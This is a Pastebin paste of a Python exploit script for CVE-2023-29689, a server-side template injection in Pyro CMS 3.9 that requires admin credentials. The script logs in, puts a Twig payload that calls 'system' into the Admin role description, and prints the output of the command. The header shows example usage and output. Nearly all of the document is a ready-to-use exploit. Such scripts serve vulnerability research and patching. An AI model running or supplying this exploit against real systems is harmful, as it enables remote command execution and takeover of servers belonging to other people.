Advertisement
FlyFar

Pyro CMS 3.9 - Server-Side Template Injection (SSTI) (Authenticated) - CVE-2023-29689

Jan 21st, 2024
1,118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.66 KB | Cybersecurity | 0 0
  1. # Exploit Title: Pyro CMS 3.9 - Server-Side Template Injection (SSTI) (Authenticated)
  2. # Exploit Author: Daniel Barros (@cupc4k3d) - Hakai Offensive Security
  3. # Date: 03/08/2023
  4. # Vendor: https://pyrocms.com/
  5. # Software Link: https://pyrocms.com/documentation/pyrocms/3.9/getting-started/installation
  6. # Vulnerable Version(s): 3.9
  7. # CVE: CVE-2023-29689
  8. # Notes: You need a user who has access to /admin privilege
  9.  
  10. # Example Usage:
  11. # First, run the script: python3 CVE-2023-29689.py
  12. # Please follow these steps:
  13. # 1. Enter the application URL: http://localhost:8000
  14. # 2. Enter the email for authentication: admin@adm.com
  15. # 3. Enter the password: Admin@@2023
  16. # 4. Enter the command to be executed: id
  17. # Result of command execution:
  18. # uid=1000(cupcake) gid=1000(cupcake) groups=1000(cupcake)
  19.  
  20. import requests
  21. from bs4 import BeautifulSoup
  22. from urllib.parse import urljoin
  23.  
  24. def login(session, url, email, password):
  25.     login_url = urljoin(url, '/admin/login')
  26.     response = session.get(login_url)
  27.     soup = BeautifulSoup(response.content, 'html.parser')
  28.     token = soup.find('input', {'name': '_token'})['value']
  29.  
  30.     payload = {
  31.         '_token': token,
  32.         'email': email,
  33.         'password': password
  34.     }
  35.  
  36.     session.post(login_url, data=payload)
  37.  
  38. # Function to edit role 1 and extract the Description of the Admin user.
  39. def edit_role_and_extract_description(session, url, command):
  40.     edit_role_url = urljoin(url, '/admin/users/roles/edit/1')
  41.     response = session.get(edit_role_url)
  42.     soup = BeautifulSoup(response.content, 'html.parser')
  43.     token = soup.find('input', {'name': '_token'})['value']
  44.  
  45.     payload = {
  46.         '_token': token,
  47.         'name_en': 'Admin',
  48.         'slug': 'admin',
  49.         'description_en': f'{{{{["{command}"]|map("system")|join}}}}',
  50.         'action': 'save_exit'
  51.     }
  52.  
  53.     session.post(edit_role_url, data=payload)
  54.  
  55.     # Extract the updated Description from role 1.
  56.     response = session.get(urljoin(url, '/admin/users/roles'))
  57.     soup = BeautifulSoup(response.content, 'html.parser')
  58.     description = soup.find('td', {'data-title': 'Description'}).text.strip()
  59.  
  60.     return description
  61.    
  62. def main():
  63.     url = input("Enter the application URL: ")
  64.     email = input("Enter the email for authentication: ")
  65.     password = input("Enter the password : ")
  66.     command = input("Enter the command to be executed: ")
  67.  
  68.     with requests.Session() as session:
  69.         login(session, url, email, password)
  70.         description = edit_role_and_extract_description(session, url, command)
  71.         print("\nResult of command execution:")
  72.         print(description)
  73.  
  74. if __name__ == "__main__":
  75.     main()
  76.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement